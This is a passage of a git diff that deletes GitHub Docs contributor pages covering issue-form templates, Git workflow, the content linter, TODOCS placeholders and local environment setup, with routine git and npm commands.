any issues created with this template will automatically be added to. The format of this key is `PROJECT-OWNER/PROJECT-NUMBER`. > [!NOTE] The person opening the issue must have write permissions for the specified projects. If you don't expect people using this template to have write access, consider enabling your project's auto-add workflow. For more information, see [Adding items automatically](/issues/planning-and-tracking-with-projects/automating-your-project/adding-items-automatically). | Optional | Array or comma-delimited string | - -For the available `body` input types and their syntaxes, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema). - -## Converting a Markdown issue template to a YAML issue form template - -You can use both Markdown and YAML issue templates in your repository. If you want to convert a Markdown issue template to a YAML issue form template, you must create a new YAML file to define the issue form. You can manually transpose an existing Markdown issue template to a YAML issue form. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms). - -If you want to use the same file name for your YAML issue form, you must delete the Markdown issue template when you commit the new file to your repository. - -An example of a Markdown issue template and a corresponding YAML issue form template are below. - -### Markdown issue template - -```markdown copy ---- -name: 🐞 Bug -about: File a bug/issue -title: '[BUG] <title>' -labels: Bug, Needs Triage -assignees: '' - ---- - -{% raw %}<{% endraw %}!-- -Note: Please search to see if an issue already exists for the bug you encountered. ---{% raw %}>{% endraw %} - -### Current Behavior: -{% raw %}<{% endraw %}!-- A concise description of what you're experiencing. --{% raw %}>{% endraw %} - -### Expected Behavior: -{% raw %}<{% endraw %}!-- A concise description of what you expected to happen. --{% raw %}>{% endraw %} - -### Steps To Reproduce: -{% raw %}<{% endraw %}!-- -Example: steps to reproduce the behavior: -1. In this environment... -1. With this config... -1. Run '...' -1. See error... ---{% raw %}>{% endraw %} - -### Environment: -{% raw %}<{% endraw %}!-- -Example: -- OS: Ubuntu 20.04 -- Node: 13.14.0 -- npm: 7.6.3 ---{% raw %}>{% endraw %} - -### Anything else: -{% raw %}<{% endraw %}!-- -Links? References? Anything that will give us more context about the issue that you are encountering! ---{% raw %}>{% endraw %} -``` - -### YAML issue form template - -```yaml copy -name: 🐞 Bug -description: File a bug/issue -title: "[BUG] <title>" -labels: ["Bug", "Needs Triage"] -body: -- type: checkboxes - attributes: - label: Is there an existing issue for this? - description: Please search to see if an issue already exists for the bug you encountered. - options: - - label: I have searched the existing issues - required: true -- type: textarea - attributes: - label: Current Behavior - description: A concise description of what you're experiencing. - validations: - required: false -- type: textarea - attributes: - label: Expected Behavior - description: A concise description of what you expected to happen. - validations: - required: false -- type: textarea - attributes: - label: Steps To Reproduce - description: Steps to reproduce the behavior. - placeholder: | - 1. In this environment... - 1. With this config... - 1. Run '...' - 1. See error... - validations: - required: false -- type: textarea - attributes: - label: Environment - description: | - examples: - - **OS**: Ubuntu 20.04 - - **Node**: 13.14.0 - - **npm**: 7.6.3 - value: | - - OS: - - Node: - - npm: - render: markdown - validations: - required: false -- type: textarea - attributes: - label: Anything else? - description: | - Links? References? Anything that will give us more context about the issue you are encountering! - - Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in. - validations: - required: false -``` - -## Further reading - -* [YAML](https://yaml.org/) -* [Common validation errors when creating issue forms](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms) diff --git a/content/contributing/collaborating-on-github-docs/about-contributing-to-github-docs.md b/content/contributing/collaborating-on-github-docs/about-contributing-to-github-docs.md deleted file mode 100644 index b2b7f29d8d09..000000000000 --- a/content/contributing/collaborating-on-github-docs/about-contributing-to-github-docs.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: About contributing to GitHub Docs -shortTitle: About contributing -intro: You can contribute to GitHub Docs content in several ways. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -{% data variables.product.prodname_dotcom %} documentation is open source. Anyone can contribute to the docs in the public `docs` repository: https://github.com/github/docs. {% data variables.product.prodname_dotcom %} employees work on the documentation in a copy of this repository called `docs-internal`. The two repositories are automatically synced to keep them both up to date with changes merged into the `main` branch of either repository. For simplicity, we'll refer to "the documentation repository" in the articles about contributing to {% data variables.product.prodname_docs %}. - -The documentation repository is the place to discuss and collaborate on the documentation that is published here on [docs.github.com](/).<!-- markdownlint-disable-line search-replace --> - -## Issues - -[Issues](/github/managing-your-work-on-github/about-issues) are used to track tasks that contributors can help with. If an issue has a `triage` label, we haven't reviewed it yet, and you shouldn't begin work on it. - -If you've found something in the documentation content, or something about the docs.github.com website, that should be updated, search the open issues to see if someone else has reported the same thing. If it's something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you'd like to be fixed.<!-- markdownlint-disable-line search-replace --> - -> [!NOTE] -> {% data variables.product.prodname_dotcom %} employees should open issues in the private `docs-content` repository. - -## Pull requests - -A [pull request](/github/collaborating-with-issues-and-pull-requests/about-pull-requests) is a way to suggest changes in our repository. When we merge those changes, they're deployed to the live site within 24 hours. - -We cannot accept contributions to the [REST API reference documentation](/rest/reference). If you spot an inaccuracy in the REST API reference documentation, open an issue in the [`rest-api-description`](https://github.com/github/rest-api-description/issues/new?template=schema-inaccuracy.md) repository. - -We only document {% data variables.product.prodname_dotcom %} products, features, tools, and extensions. We may mention or link to third-party tools to demonstrate how a feature works, but we do not accept pull requests to document third-party tools or integrations unless they were codeveloped with {% data variables.product.company_short %}. - -### Reviewing your own pull requests - -You should always review your own pull request first, before marking it as ready for review by others. - -For content changes, make sure that you: - -* Confirm that the changes meet the user experience and goals outlined in the content design plan (if there is one). -* Review the content for technical accuracy. -* Check your changes for grammar, spelling, and adherence to the [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide). -* Make sure the text in your pull request will be easy to translate. For more information, see [AUTOTITLE](/contributing/writing-for-github-docs/writing-content-to-be-translated). -* Check new or updated Liquid statements to confirm that versioning is correct. For more information, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/versioning-documentation). -* Check the preview of any pages you have changed. A preview is automatically generated after you submit a pull request and links are added to the pull request. The preview sometimes takes several minutes before it is ready to view. Confirm that everything is rendering as expected. Checking the preview will help you identify problems such as typos, content that doesn't follow the style guide, or content that isn't rendering due to versioning problems. Make sure to check the rendered output for lists and tables, which can sometimes have problems that are difficult to identify in the Markdown. -* If there are any failing checks in your pull request, troubleshoot them until they're all passing. - -## Support - -We are a small team working hard to keep up with the documentation demands of a continuously changing product. Unfortunately, we just can't help with support questions in this repository. If you are experiencing a problem with {% data variables.product.prodname_dotcom %}, unrelated to our documentation, please [contact {% data variables.product.prodname_dotcom %} Support directly](https://support.github.com/contact). Any issues or pull requests opened in the documentation repository requesting support will be given information about how to contact {% data variables.product.prodname_dotcom %} Support, then closed and locked. - -If you're having trouble with your {% data variables.product.prodname_dotcom %} account, contact [Support](https://support.github.com/contact?tags=docs-contributing-guide). - -## Translations - -This website is internationalized and available in multiple languages. The source content in this repository is written in English. We automate translations through an internal process, working with professional translators to localize the English content. - -If you spot a translation error, please raise an issue with the details. - -We do not currently accept pull requests for translated content. - -## Site policy - -{% data variables.product.prodname_dotcom %}'s site policies are also published on docs.github.com.<!-- markdownlint-disable-line search-replace --> - -If you find a typo in the site policy section, you can open a pull request to fix it. For anything else, see [Contributing](https://github.com/github/site-policy/blob/main/CONTRIBUTING.md) in the `site-policy` repository. diff --git a/content/contributing/collaborating-on-github-docs/index.md b/content/contributing/collaborating-on-github-docs/index.md deleted file mode 100644 index 27cc6559123c..000000000000 --- a/content/contributing/collaborating-on-github-docs/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Collaborating on GitHub Docs -shortTitle: Collaborate on GitHub Docs -intro: 'Find out about collaborating on GitHub Docs.' -versions: - feature: 'contributing' -redirect_from: - - /contributing/collaborating-on-github-docs/self-review-checklist -children: - - /about-contributing-to-github-docs - - /using-git-on-github-docs - - /using-the-todocs-placeholder-to-leave-notes - - /using-the-content-linter - - /label-reference ---- diff --git a/content/contributing/collaborating-on-github-docs/label-reference.md b/content/contributing/collaborating-on-github-docs/label-reference.md deleted file mode 100644 index 58fb05f6a56e..000000000000 --- a/content/contributing/collaborating-on-github-docs/label-reference.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Label reference -intro: Labels can help you find an issue you'd like to help with. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -You can use labels to locate a particular type of issue. For example, click the labels in the table to see a filtered list of open issues in the github/docs repository. - -| Label | Description | -| --- | --- | -| [`help wanted`](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) | Problems or updates that anyone in the community can start working on. | -| [`good first issue`](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) | Problems or updates we think are ideal for beginners. | -| [`content`](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Acontent) | Problems or updates in the content on docs.github.com. These will usually require some knowledge of Markdown. | <!-- markdownlint-disable-line search-replace --> -| [`engineering`](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Aengineering) | Problems or updates involving the functionality of the docs.github.com website. Fixing these issues will usually require some knowledge of JavaScript/Node.js or YAML. |<!-- markdownlint-disable-line search-replace --> -| [`codespaces`](https://github.com/github/docs/labels/codespaces)<br> [`desktop`](https://github.com/github/docs/labels/desktop)<br> [`graphql`](https://github.com/github/docs/labels/graphql) | Labels for filtering issues by a product or documentation area. | diff --git a/content/contributing/collaborating-on-github-docs/using-git-on-github-docs.md b/content/contributing/collaborating-on-github-docs/using-git-on-github-docs.md deleted file mode 100644 index 59e7e9588482..000000000000 --- a/content/contributing/collaborating-on-github-docs/using-git-on-github-docs.md +++ /dev/null @@ -1,196 +0,0 @@ ---- -title: Using Git on GitHub Docs -shortTitle: Using Git -intro: You can use Git on the command line to commit changes and then push them to the documentation repository. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -This article describes the process of creating a topic branch for the documentation repository, committing changes, and pushing your changes back up to the remote repository. - -The article assumes you have already cloned the documentation repository locally and you will be making changes on your local computer rather than on {% data variables.product.prodname_dotcom %} or in a codespace. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository?tool=webui). - -## Setting up your topic branch and making changes - -To keep your local branches in sync with their remotes and avoid merge conflicts, follow these steps as you work on documentation. - -1. In the terminal, change the current working directory to the location where you cloned the documentation repository. For example: - - ```shell - cd ~/my-cloned-repos/docs - ``` - -1. Switch to the default branch: `main`. - - ```shell - git checkout main - ``` - -1. Get the most recent commits from the remote repository. - - ```shell - git pull origin main - ``` - -1. Switch to or create a topic branch. - * To start a new project, create a new topic branch from `main`. - - ```shell - git checkout -b YOUR-TOPIC-BRANCH - ``` - - > [!NOTE] - > You can use forward slashes as part of the branch name, for example to include your user name: - > - > ```shell - > git checkout -b my-username/new-codespace-policy - > ``` - - * To work on an existing project, switch to your topic branch and merge changes from `main`. - - ```shell - git checkout YOUR-TOPIC-BRANCH - git merge main - ``` - - If you run into merge conflicts, follow the steps later in this article for [resolving merge conflicts](#resolving-merge-conflicts). - -1. Open your preferred text editor, edit files as required, then save your changes. - -## Committing and pushing your changes - -1. When you're ready to commit your changes, open a terminal and check the status of your topic branch with `git status`. Make sure you see the correct set of changes. - - ```shell - git status - On branch YOUR-TOPIC-BRANCH - - Changes not staged for commit: - (use "git add <file>..." to update what will be committed) - (use "git checkout -- <file>..." to discard changes in working directory) - deleted: example-deleted-file.md - modified: example-changed-file.md - - Untracked files: - (use "git add <file>..." to include in what will be committed) - example-new-file.md - ``` - -1. Stage the changed files so that they're ready to be committed to your topic branch. - - * If you created new files or updated existing files, use `git add FILENAME [FILENAME...]`. For example: - - ```shell - git add example-new-file.md example-changed-file.md - ``` - - This adds the updated version of the files to Git's staging area, from which changes can be committed. To unstage a file, use `git reset HEAD FILENAME`. For example, `git reset HEAD example-changed-file.md`. - - * If you deleted files, use `git rm FILENAME [FILENAME...]`. For example: - - ```shell - git rm example-deleted-file.md - ``` - -1. Commit your changes. - - ```shell - git commit -m "Commit message title (max 72 characters) - - Optional fuller description of what changed (no character limit). - Note the empty line between the title and the description, - and the closing quotation mark at the end of the commit message." - ``` - - This commits the staged changes locally. You can now push this commit, and any other unpushed commits, to the remote repository. - - To remove this commit, use `git reset --soft HEAD~1`. After running this command our changes are no longer committed but the changed files remain in the staging area. You can make further changes and then `add` and `commit` again. - -1. Push your changes to the remote repository on {% data variables.product.prodname_dotcom %}. - - * The first time you push your branch you can choose to add an upstream tracking branch. This allows you to use `git pull` and `git push` on that branch without additional arguments. - - ```shell - git push --set-upstream origin YOUR-TOPIC-BRANCH - ``` - - * If you've pushed this branch before, and set an upstream tracking branch you can use: - - ```shell - git push - ``` - -### Best practices for commits - -* Favor commits that contain small, focused groups of changes over commits with large, unfocused groups of changes, since this will help you write commit messages that other people can easily understand. An exception is the initial commit for a new project or category. These commits are sometimes large, as they often introduce the bare versions of many articles at once to provide an organizational scheme for subsequent work. -* If you are incorporating feedback or want to address a set of changes to a particular person or team for review, @mention the person whose suggestions you are incorporating. For example: "Incorporating feedback from @octocat," or "Updating billing configuration steps - cc @monalisa for accuracy." -* If a commit addresses an issue, you can reference the issue number in the commit, and a link to the commit will appear in the issue conversation timeline: "Addresses #1234 - adds steps for backing up the VM before upgrading." - - > [!NOTE] - > We generally don't close an issue via a commit. To close an issue, open a pull request and add "Closes #1234" to the description. The linked issue will be closed when the pull request is merged. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue). - -* Make commit messages clear, detailed, and imperative. For example: "Adds a conceptual article about 2FA," not "Add info." -* Try not to leave uncommitted changes in your local branch when you finish working for the day. Get to a good stopping point and commit and push your changes so your work is backed up to the remote repository. -* Only push up to {% data variables.product.prodname_dotcom %} after you've made a few commits. Pushing after every commit adds noise to our ops channels on Slack and causes unnecessary builds to run. - -## Resolving merge conflicts - -When you try to merge two branches that contain different changes to the same part of a file, you will get a merge conflict. In our workflow, this most often occurs when merging `main` down into a local topic branch. - -There are two ways to handle merge conflicts: -* Edit the file in your text editor and choose which changes to keep. Then commit the updated file to your topic branch from the command line. -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github). - -### Resolving merge conflicts by editing the file and committing the changes - -1. On the command line, note the files that contains merge conflicts. -1. Open the first of these files in your text editor. -1. In the file, look for the merge conflict markers. - - ```text - <<<<<<< HEAD - Here are the changes you've made. - ===================== - Here are the changes from the main branch. - >>>>>>> main - ``` - -1. Decide which changes to keep and delete the unwanted changes and the merge conflict markers. If you need to make further changes, you can do so at the same time. For example, you could change the five lines shown in the previous code sample to the single line: - - ```text - Here are the changes you want to use. - ``` - - If there are multiple files with merge conflicts, repeat the previous steps until you resolve all conflicts. - - > [!NOTE] - > You should apply care when resolving merge conflicts. Sometimes you will simply accept your own changes, sometimes you will use the upstream changes from the `main` branch, and sometimes you will combine both sets of changes. If you're unsure of the best resolution, be wary of replacing the changes from upstream as these may have been made for specific reasons that you're not aware of. - -1. In the terminal, stage the file, or files, that you just modified. - - ```shell - git add changed-file-1.md changed-file-2.md - ``` - -1. Commit the files. - - ```shell - git commit -m "Resolves merge conflicts" - ``` - -1. Push the committed changes to the remote repository on {% data variables.product.prodname_dotcom %}. - - ```shell - git push - ``` - -## Creating a pull request - -We recommend you open your pull request on {% data variables.product.prodname_dotcom %} early. Create the pull request as a draft until you are ready for it to be reviewed. Each time you push changes, your commits will be added to the pull request. - -> [!NOTE] -> You can quickly access pull requests you've created by clicking **Pull requests** at the top of every page on {% data variables.product.prodname_dotcom %}. - -For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request?tool=webui#creating-the-pull-request). diff --git a/content/contributing/collaborating-on-github-docs/using-the-content-linter.md b/content/contributing/collaborating-on-github-docs/using-the-content-linter.md deleted file mode 100644 index 737723e52511..000000000000 --- a/content/contributing/collaborating-on-github-docs/using-the-content-linter.md +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Using the content linter -intro: You can use content linter to check your contributions for errors. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About the {% data variables.product.prodname_docs %} content linter - -Our content linter enforces style guide rules in our Markdown content. - -The linter uses [`markdownlint`](https://github.com/DavidAnson/markdownlint) as the framework to perform checks, report flaws, and automatically fix content, when possible. This framework flexibly runs specific rules, gives descriptive error messages, and fixes errors. The {% data variables.product.prodname_docs %} content linter uses several existing `markdownlint` rules and additional custom rules to check the Markdown content in our `content` and `data` directories. Our custom rules implement checks that are either not yet available in the `markdownlint` framework or are specific to {% data variables.product.prodname_docs %} content. Rules check the syntax for both Markdown and Liquid. - -## Running the {% data variables.product.prodname_docs %} content linter - -The {% data variables.product.prodname_docs %} content linter will run automatically on pre-commit, but you can also run it manually. - -### Automatically run the linter on pre-commit - -When you are writing content locally and committing files using the command line, those staged files will automatically be linted by the content linter. Both warnings and errors are reported, but only errors will prevent your commit from completing. - -If any errors are reported, your commit will not complete. You will need to fix the reported errors, re-add the changed files, and commit your changes again. Any errors that are reported must be fixed to prevent introducing errors in the content that are in violation of the {% data variables.product.prodname_docs %} style guide. If any warnings are reported, you can optionally choose to fix them or not. - -When you are writing content locally, there are several rules that you can fix automatically using the command line. If you want to automatically fix errors that can be fixed, see [Automatically fix errors that can be fixed](#automatically-fix-errors-that-can-be-fixed). - -If you are editing a file in the {% data variables.product.prodname_dotcom %} UI, you will not be able to automatically fix errors or run the linter on a commit, but you will get a CI failure if the content violates any rules with a severity of `error`. - -### Manually run the linter - -#### Run the linter on staged and changed files - -Use the following command to run the linter locally on your staged and changed files. It will output both `warning` and `error` severity flaws. - -```shell -npm run lint-content -``` - -#### Run the linter on staged and changed files and only report errors - -Use the following command to run the linter locally on your staged and changed files, and report only `error` severity flaws. - -```shell -npm run lint-content -- --errors -``` - -#### Run the linter on specific files or directories - -Use the following command to run the linter locally on specific files or directories. Separate multiple paths with a space. You can include both files and directories in the same command. - -```shell copy -npm run lint-content -- \ - --paths content/FILENAME.md content/DIRECTORY -``` - -#### Automatically fix errors that can be fixed - -If an error has `fixable: true` in its description, you can use the following commands to automatically fix them. - -Run this command to fix staged and changed files only: - -```shell -npm run lint-content -- --fix -``` - -Run this command to fix specific files or directories: - -```shell -npm run lint-content -- \ - --fix --paths content/FILENAME.md content/DIRECTORY -``` - -#### Run a specific set of linter rules - -Use the following command to run one or more specific linter rules. These examples run the `heading-increment` and `code-fence-line-length` rules. Replace `heading-increment code-fence-line-length` with one or more linter aliases that you would like to run. To see the list of linter rules you can pass to this option, run `npm run lint-content -- --help`. You can use either the short name (for example, `MD001`) or long name (for example, `heading-increment`) of a linter rule. - -Run the specified linter rules on all staged and changed files: - -```shell -npm run lint-content -- \ - --rules heading-increment code-fence-line-length -``` - -Run the specified linter rules on specific files or directories: - -```shell -npm run lint-content -- \ - --rules heading-increment code-fence-line-length \ - --path content/FILENAME.md content/DIRECTORY -``` - -#### Bypass the commit hook - -If the linter catches errors that you did not introduce, you can bypass the git commit hook by using the `--no-verify` option when you commit your changes. - -```shell -git commit -m 'MESSAGE' --no-verify -``` - -### Display the help menu for the content linter script - -```shell -npm run lint-content -- --help -``` - -## Linting rules - -Each rule is configured in a file in [`src/content-linter/style`](https://github.com/github/docs/tree/main/src/content-linter/style), which is where the severities of rules are defined. - -Errors must be addressed before merging your changes to the `main` branch. Warnings should be addressed but do not prevent a change from being merged into the `main` branch. Most rules will eventually be promoted to errors, once the content no longer has warning violations. - -{% data reusables.contributing.content-linter-rules %} - -### Syntax for linting rules - -Some linting rules return warnings or errors based on HTML comments that you can add to articles. - -#### Syntax for expiring and expired content - -Rules `GHD038` and `GHD039` check for content that has been manually given an expiration date. Fourteen days before the specified date, the content linter will return a warning that the content is expiring soon. Starting on the specified date, the content linter will return an error and flag the content for remediation. - -You can add an expiration date to content by wrapping it in HTML tags that contain an expiration date in the format: `<!-- expires yyyy-mm-dd --> <!-- end expires yyyy-mm-dd -->` - -**Use:** - -```markdown -This content does not expire. -<!-- expires 2022-01-28 --> -This content expires on January 28, 2022. -<!-- end expires 2022-01-28 --> -This content also does not expire. -``` - -Note, if you are placing the expired tags in an HTML `table` element, make sure the tag goes around the entire row and not just the cell. For example: - -```html -<!-- expires 2024-06-28 --> -<tr> -<td> -macOS -</td> -<td> -The <code>macos-11</code> label is {% data variables.release-phases.closing_down %} and will no longer be available after 28 June 2024. -</td> -</tr> -<!-- end expires 2024-06-28 --> -``` - -## Suppressing linter rules - -Rarely, you may need to document something that violates one or more linter rules. In these cases, you can suppress rules by adding a comment to the Markdown file. You can disable all rules or specific rules. Always try to limit as few rules as possible. You can disable a rule for an entire file, for a section of a Markdown file, a specific line, or the next line. - -For example, if you are writing an article that includes the regular expression `(^|/)[Cc]+odespace/` that checks for reversed link syntax, it will trigger the `MD011` rule that checks for reversed links. You can disable the rule `MD011` on that specific line by adding the following comment. - -```text -(^|/)[Cc]+odespace/ <!-- markdownlint-disable-line MD011 --> -``` - -If the line you're trying to ignore is in a code block, you can ignore the code block by surrounding it with the following comments. - -````text -<!-- markdownlint-disable MD011 --> -``` -(^|/)[Cc]+odespace/ -``` -<!-- markdownlint-enable MD011 --> -```` - -You can use these comments to enable or disable rules. - -| Comment | Effect | -| :-- | :-- | -| `<!-- markdownlint-disable -->`<!-- markdownlint-restore --> | Disable all rules | -| `<!-- markdownlint-enable -->`<!-- markdownlint-restore -->| Enable all rules | -| `<!-- markdownlint-disable-line -->`<!-- markdownlint-restore --> | Disable all rules for the current line | -| `<!-- markdownlint-disable-next-line -->`<!-- markdownlint-restore --> | Disable all rules for the next line | -| `<!-- markdownlint-disable RULE-ONE RULE-TWO -->`|<!-- markdownlint-restore --> | Disable one or more rules by name | -| `<!-- markdownlint-enable RULE-ONE RULE-TWO -->`<!-- markdownlint-restore --> | Enable one or more rules by name | -| `<!-- markdownlint-disable-line RULE-NAME -->`<!-- markdownlint-restore --> | Disable one or more rules by name for the current line | -| `<!-- markdownlint-disable-next-line RULE-NAME -->`<!-- markdownlint-restore --> | Disable one or more rules by name for the next line | diff --git a/content/contributing/collaborating-on-github-docs/using-the-todocs-placeholder-to-leave-notes.md b/content/contributing/collaborating-on-github-docs/using-the-todocs-placeholder-to-leave-notes.md deleted file mode 100644 index e298c8461ef5..000000000000 --- a/content/contributing/collaborating-on-github-docs/using-the-todocs-placeholder-to-leave-notes.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Using the TODOCS placeholder to leave notes -shortTitle: Using the TODOCS placeholder -intro: You can use the `TODOCS` placeholder to indicate work that still needs to be completed. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -<!-- markdownlint-disable search-replace --> -## Using the TODOCS placeholder - -Sometimes technical writers use placeholders while writing documentation to remind themselves to come back to something later. It's a useful technique, but there's always the possibility that the placeholder will be overlooked and slip into production. At that point, the only way the Docs team will find out about it is if someone sees it and reports it. - -To prevent slips, use the string `TODOCS` as your placeholder. The Docs test suite includes a [linting test](https://github.com/github/docs/tree/main/src/content-linter) that will fail if it finds this string anywhere in a Markdown or YAML file. - -> [!NOTE] -> If you use {% data variables.product.prodname_vscode_shortname %} as your text editor, the [TODO Highlight](https://marketplace.visualstudio.com/items?itemName=wayou.vscode-todo-highlight) extension is useful for highlighting instances of "TODOCS" in your files. Add "TODOCS" and other varieties of casing, such as "todocs," to the settings for this extension. - -### Example - -```markdown -1. In the dropdown, select the settings you want to sync. - - TODOCS: ADD A SCREENSHOT OF THE SETTINGS SYNC OPTIONS - -1. Click **Sign in & Turn on**, then select the account to which you want your settings to be synced. -``` -<!-- markdownlint-enable search-replace --> diff --git a/content/contributing/index.md b/content/contributing/index.md deleted file mode 100644 index 380738e37f35..000000000000 --- a/content/contributing/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Contributing to GitHub Docs documentation -shortTitle: Contribute to GitHub Docs -intro: 'Learn about how the {% data variables.product.prodname_docs %} team creates documentation and how you can contribute.' -layout: product-landing -versions: - feature: 'contributing' -featuredLinks: - startHere: - - /contributing/writing-for-github-docs/best-practices-for-github-docs - - /contributing/style-guide-and-content-model/style-guide - - /contributing/style-guide-and-content-model/about-the-content-model - - /contributing/collaborating-on-github-docs/about-contributing-to-github-docs -changelog: - label: docs -children: - - /writing-for-github-docs - - /style-guide-and-content-model - - /collaborating-on-github-docs - - /setting-up-your-environment-to-work-on-github-docs ---- diff --git a/content/contributing/setting-up-your-environment-to-work-on-github-docs/creating-a-local-environment.md b/content/contributing/setting-up-your-environment-to-work-on-github-docs/creating-a-local-environment.md deleted file mode 100644 index 9f0d16386540..000000000000 --- a/content/contributing/setting-up-your-environment-to-work-on-github-docs/creating-a-local-environment.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Creating a local environment -shortTitle: Create a local environment -intro: 'You can run the {% data variables.product.prodname_docs %} application locally on your computer.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About {% data variables.product.prodname_docs %} site structure - -The {% data variables.product.prodname_docs %} site was originally a Ruby on Rails web application. Some time later it was converted into a static site powered by [Jekyll](https://jekyllrb.com/). A few years after that it was migrated to [Nanoc](https://nanoc.app/), another Ruby static site generator. - -Today it's a dynamic Node.js webserver powered by Express, using middleware to support proper HTTP redirects, language header detection, and dynamic content generation to support the various flavors of {% data variables.product.company_short %}'s product documentation, like Free, Pro, & Team and {% data variables.product.prodname_ghe_server %}. - -The tooling for this site has changed over the years, but many of the tried-and-true authoring conventions of the original Jekyll site have been preserved. - -* Content is written in Markdown files, which live in the `content` directory. -<!-- - Content can use the [Liquid templating language](/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-for-github-docs).--> -* Files in the `data` directory are available to templates via the {% raw %}`{% data %}`{% endraw %} tag. -* Markdown files can contain [frontmatter](https://jekyllrb.com/docs/front-matter). -* The [`redirect_from`](https://github.com/jekyll/jekyll-redirect-from) Jekyll plugin behavior is supported. - -## Setting up your local environment - -You can clone the {% data variables.product.prodname_docs %} repository and run the application locally on your computer, after some initial setup. - -### Installing Node.js - -The {% data variables.product.prodname_docs %} site is powered by Node.js. It runs on macOS, Windows, and Linux environments. - -To run the site, you'll need Node.js. To install Node.js, [download the "LTS" installer from nodejs.org](https://nodejs.org). To check which Node version you need, you can see the `package.json` file in the {% data variables.product.prodname_docs %} repository. The Node version is listed in the `engine` field, similar to the following example, which indicates you can use Node major version 16 or Node major version 18. - -```json -"engines": { - "node": "^16 || ^18" -} -``` - -If you're using `nodenv`, see the [`nodenv` docs](https://github.com/nodenv/nodenv#readme) for instructions on switching Node.js versions. - -### Starting a local {% data variables.product.prodname_docs %} server - -Once you've installed Node.js (which includes the popular `npm` package manager), open your terminal and run the following commands. - -```shell -git clone https://github.com/github/docs -cd docs -npm ci -npm start -``` - -You should now have a running server. To access your local environment, visit [localhost:4000](http://localhost:4000) in your browser. - -When you're ready to stop your local server, type <kbd>Ctrl</kbd>+<kbd>C</kbd> in your terminal window. - -> [!NOTE] You should typically only need to run `npm ci` and `npm run build` each time you pull the latest version of a branch. -> * `npm ci` does a clean install of dependencies, without updating the `package-lock.json` file. -> * `npm run build` creates static assets, such as JavaScript and CSS files. - -If you would like to read more about debugging and troubleshooting the {% data variables.product.prodname_docs %} application, see [AUTOTITLE](/contributing/setting-up-your-environment-to-work-on-github-docs/troubleshooting-your-environment) in the github/docs repository. - -### Using browser shortcuts - -The [`src/bookmarklets`](https://github.com/github/docs/tree/main/src/bookmarklets) directory in the {% data variables.product.prodname_docs %} repository contains browser shortcuts that can help with reviewing {% data variables.product.company_short %} documentation. For more information, see the directory's [`README`](https://github.com/github/docs/tree/main/src/bookmarklets/README.md). - -### Enabling different languages - -By default, the local server does not run with all supported languages enabled. If you need to run a local server with a particular language, you can temporarily edit the `start` script in `package.json` and update the `ENABLED_LANGUAGES` variable. - -For example, to enable Japanese and Portuguese in addition to English, you can edit `package.json` and set `ENABLED_LANGUAGES='en,ja,pt'` in the `start` script. Then restart the server for the change to take effect. - -> [!NOTE] -> Before you commit your changes, you should revert the `package.json` file to its original state. - -The supported language codes are defined in [`src/languages/lib/languages.js`](https://github.com/github/docs/blob/main/src/languages/lib/languages.js). - -## Using {% data variables.product.prodname_github_codespaces %} - -As an alternative to running {% data variables.product.prodname_docs %} locally, you can use {% data variables.product.prodname_github_codespaces %}. {% data variables.product.prodname_github_codespaces %} enable you to edit, preview, and test your changes directly from your browser. - -For more information about using a codespace for working on {% data variables.product.company_short %} documentation, see [AUTOTITLE](/contributing/setting-up-your-environment-to-work-on-github-docs/working-on-github-docs-in-a-codespace). - -## Further reading - -* [AUTOTITLE](/contributing/writing-for-github-docs/creating-reusable-content) -* [Components](https://github.com/github/docs/blob/main/src/frame/components/README.md) -* [Data](https://github.com/github/docs/blob/main/data/README.md) -* [Tests](https://github.com/github/docs/blob/main/src/tests/README.md) diff --git a/content/contributing/setting-up-your-environment-to-work-on-github-docs/index.md b/content/contributing/setting-up-your-environment-to-work-on-github-docs/index.md deleted file mode 100644 index 98ab88803941..000000000000 --- a/content/contributing/setting-up-your-environment-to-work-on-github-docs/index.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Setting up your environment to work on {% data variables.product.prodname_docs %} -shortTitle: Your working environment -intro: 'Learn about running the {% data variables.product.prodname_docs %} site locally or in {% data variables.product.prodname_github_codespaces %}.' -versions: - feature: 'contributing' -children: - - /working-on-github-docs-in-a-codespace - - /creating-a-local-environment - - /troubleshooting-your-environment ---- diff --git a/content/contributing/setting-up-your-environment-to-work-on-github-docs/troubleshooting-your-environment.md b/content/contributing/setting-up-your-environment-to-work-on-github-docs/troubleshooting-your-environment.md deleted file mode 100644 index 0c8370dc7f0e..000000000000 --- 